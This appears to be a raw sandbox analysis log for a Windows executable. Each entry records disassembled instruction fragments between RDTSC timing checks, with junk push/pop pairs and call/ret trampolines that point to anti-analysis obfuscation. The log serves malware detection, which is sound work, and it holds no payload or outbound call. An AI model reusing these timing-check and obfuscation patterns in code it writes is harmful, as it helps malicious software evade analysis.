Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F9FD second address: 107FA01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA01 second address: 107FA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA0D second address: 107FA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA13 second address: 107FA19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA19 second address: 107FA43 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F9D1073AE79h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA43 second address: 107FA4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA4C second address: 107FA50 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA50 second address: 107FA58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107FA58 second address: 107FA5D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D96D1 second address: 10D96D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB74C second address: 10DB750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DB750 second address: 10DB75A instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9D106F7656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCE77 second address: 10DCEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov edi, 7EB5BC35h 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007F9D1073AE68h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F9D1073AE68h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Ah 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 jmp 00007F9D1073AE6Ch 0x0000004b xor di, 054Bh 0x00000050 push eax 0x00000051 pushad 0x00000052 push ebx 0x00000053 pushad 0x00000054 popad 0x00000055 pop ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007F9D1073AE71h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBEFA second address: 10DBF00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DBF00 second address: 10DBF1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F9D1073AE71h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD0FF second address: 10DD103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A874 second address: 107A878 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E4A1D second address: 10E4A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9AE5 second address: 10E9AEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9AEE second address: 10E9AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9C8A second address: 10E9CB0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9D1073AE66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F9D1073AE70h 0x00000010 jc 00007F9D1073AE66h 0x00000016 pushad 0x00000017 popad 0x00000018 push edi 0x00000019 pop edi 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CB0 second address: 10E9CCA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F7666h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CCA second address: 10E9CCE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9CCE second address: 10E9CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E9E48 second address: 10E9E4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF72B second address: 10EF731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF731 second address: 10EF758 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F9D1073AE6Ch 0x0000000b jnc 00007F9D1073AE66h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F9D1073AE6Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF758 second address: 10EF75C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF75C second address: 10EF762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF84D second address: 10EF852 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF91A second address: 10EF924 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D1073AE6Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10EF924 second address: F1EAD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 1858996Ch 0x0000000d cld 0x0000000e push dword ptr [ebp+122D170Dh] 0x00000014 jne 00007F9D106F7672h 0x0000001a call dword ptr [ebp+122D1FE7h] 0x00000020 pushad 0x00000021 pushad 0x00000022 mov edx, 51D09851h 0x00000027 jmp 00007F9D106F7665h 0x0000002c popad 0x0000002d xor eax, eax 0x0000002f jmp 00007F9D106F765Ch 0x00000034 jmp 00007F9D106F7662h 0x00000039 mov edx, dword ptr [esp+28h] 0x0000003d mov dword ptr [ebp+122D20ABh], edi 0x00000043 mov dword ptr [ebp+122D2AA8h], eax 0x00000049 jmp 00007F9D106F7660h 0x0000004e cld 0x0000004f mov esi, 0000003Ch 0x00000054 sub dword ptr [ebp+122D23C2h], edi 0x0000005a add esi, dword ptr [esp+24h] 0x0000005e mov dword ptr [ebp+122D20ABh], edi 0x00000064 lodsw 0x00000066 stc 0x00000067 add eax, dword ptr [esp+24h] 0x0000006b pushad 0x0000006c push edi 0x0000006d mov edi, dword ptr [ebp+122D29E8h] 0x00000073 pop ebx 0x00000074 stc 0x00000075 popad 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a jno 00007F9D106F765Ch 0x00000080 nop 0x00000081 jmp 00007F9D106F765Dh 0x00000086 push eax 0x00000087 push ebx 0x00000088 push eax 0x00000089 push edx 0x0000008a jmp 00007F9D106F7662h 0x0000008f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4444 second address: 10F4448 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4448 second address: 10F444C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3B8E second address: 10F3B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3B99 second address: 10F3B9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3B9E second address: 10F3BA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3BA3 second address: 10F3BC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F9D106F7664h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3E74 second address: 10F3E7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4161 second address: 10F4169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4169 second address: 10F416F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7800 second address: 10F781A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F9D106F765Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F9D106F7656h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8CF2 second address: 10C8CFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9D1073AE66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8CFC second address: 10C8D46 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b jmp 00007F9D106F765Dh 0x00000010 lea eax, dword ptr [ebp+1247DA98h] 0x00000016 jmp 00007F9D106F765Ah 0x0000001b nop 0x0000001c jmp 00007F9D106F765Fh 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007F9D106F765Fh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C8D46 second address: 10C8D4B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C944B second address: 10C944F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C981A second address: 10C981F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C981F second address: 10C9842 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F9D106F765Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d jmp 00007F9D106F765Eh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9BD8 second address: 10C9BDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9BDD second address: 10C9BE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9BE2 second address: 10C9C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F9D1073AE68h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push 0000001Eh 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F9D1073AE68h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000017h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 jmp 00007F9D1073AE71h 0x00000047 nop 0x00000048 jno 00007F9D1073AE74h 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push ebx 0x00000053 pop ebx 0x00000054 jmp 00007F9D1073AE70h 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9C68 second address: 10C9C6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9C6E second address: 10C9C72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9FEF second address: 10C9FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C9FF3 second address: 10CA00E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9D1073AE73h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CA00E second address: 10A7C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F765Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F9D106F7658h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov edi, ecx 0x00000029 lea eax, dword ptr [ebp+1247DA98h] 0x0000002f push 00000000h 0x00000031 push ebx 0x00000032 call 00007F9D106F7658h 0x00000037 pop ebx 0x00000038 mov dword ptr [esp+04h], ebx 0x0000003c add dword ptr [esp+04h], 00000019h 0x00000044 inc ebx 0x00000045 push ebx 0x00000046 ret 0x00000047 pop ebx 0x00000048 ret 0x00000049 jmp 00007F9D106F7669h 0x0000004e push eax 0x0000004f jmp 00007F9D106F7665h 0x00000054 mov dword ptr [esp], eax 0x00000057 mov edx, dword ptr [ebp+122D2BA8h] 0x0000005d movzx edx, si 0x00000060 call dword ptr [ebp+12455316h] 0x00000066 push eax 0x00000067 push esi 0x00000068 push eax 0x00000069 pop eax 0x0000006a pop esi 0x0000006b push eax 0x0000006c push edx 0x0000006d jo 00007F9D106F7656h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7DBA second address: 10F7DDC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9D1073AE6Ch 0x0000000f jnp 00007F9D1073AE66h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7DDC second address: 10F7DE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F7DE1 second address: 10F7DE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8513 second address: 10F852F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9D106F765Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4E0 second address: 10FC4E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4E4 second address: 10FC4F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7660h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4F8 second address: 10FC4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC4FE second address: 10FC50A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9D106F7656h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC50A second address: 10FC50E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC50E second address: 10FC533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D106F7668h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a jl 00007F9D106F7656h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF744 second address: 10FF749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF749 second address: 10FF78C instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9D106F766Eh 0x00000008 jnp 00007F9D106F7662h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9D106F765Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF78C second address: 10FF7A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F9D1073AE6Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF7A0 second address: 10FF7A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11059AD second address: 11059B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F9D1073AE66h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11059B8 second address: 11059C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9D106F7656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11059C2 second address: 11059D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jc 00007F9D1073AE6Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104611 second address: 1104617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104617 second address: 1104637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 ja 00007F9D1073AE75h 0x0000000d push esi 0x0000000e pop esi 0x0000000f jmp 00007F9D1073AE6Dh 0x00000014 push eax 0x00000015 push edx 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110479B second address: 11047CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9D106F765Ch 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnl 00007F9D106F7656h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9D106F765Fh 0x00000018 jno 00007F9D106F7656h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11047CA second address: 11047EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007F9D1073AE8Bh 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104C8C second address: 1104C9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9D106F765Eh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104C9F second address: 1104CAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9D1073AE66h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1104CAB second address: 1104CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11042CF second address: 11042FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9D1073AE6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9D1073AE75h 0x0000000e pop ebx 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F9D1073AE66h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1105103 second address: 1105115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jmp 00007F9D106F765Bh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B293 second address: 110B298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B298 second address: 110B2C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jnl 00007F9D106F7656h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F9D106F765Bh 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 popad 0x0000001a jnl 00007F9D106F7661h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B2C9 second address: 110B2D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109C2C second address: 1109C3F instructions: 0x00000000 rdtsc 0x00000002 jno 00007F9D106F765Ch 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109D98 second address: 1109D9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109D9C second address: 1109DB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9D106F7667h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1109DB7 second address: 1109DBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
